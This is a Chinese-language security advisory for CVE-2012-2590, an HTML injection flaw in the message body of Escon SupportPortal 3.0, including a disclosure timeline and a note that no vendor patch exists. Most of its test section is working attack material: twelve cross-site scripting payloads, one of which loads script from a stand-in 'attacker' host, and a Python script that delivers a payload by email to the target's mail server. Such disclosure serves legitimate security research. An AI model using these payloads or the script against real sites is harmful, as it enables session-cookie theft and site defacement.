Escon SupportPortal 'Body'字段HTML注入漏洞


发布日期：2012-08-08
更新日期：2012-08-09

受影响系统：
e-supportportal Escon SupportPortal 3.0
描述：
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BUGTRAQ  ID: 54894
CVE ID: CVE-2012-2590

Escon SupportPortal是服务桌面软件，支持售票功能和整合的知识库，用户论坛，实时聊天和新闻管理。

Escon SupportPortal 3.0 及其他版本在实现上存在HTML注入漏洞，攻击者可提供HTML或JS代码，在受影响站点中运行，窃取Cookie身份验证凭证或控制站点外观。

<*来源：loneferret
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: ESCON SupportPortal Pro
Version: 3.0
Vendor Site: http://www.e-supportportal.com
Software Download: http://www.e-supportportal.com/download.html


Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure


Installed On: Ubuntu 11.10 LAMP
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Extra Note: HTML must be enabled in the configuration


Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
4: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
5: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
6: <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
7: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
8: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
9: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
10: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
11: <<SCRIPT>alert("XSS");//<</SCRIPT>
12: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>

'''

import smtplib, urllib2

payload = """<SCRIPT>alert('XSS')</SCRIPT>"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

建议：
--------------------------------------------------------------------------------
厂商补丁：

e-supportportal
---------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.e-supportportal.com/

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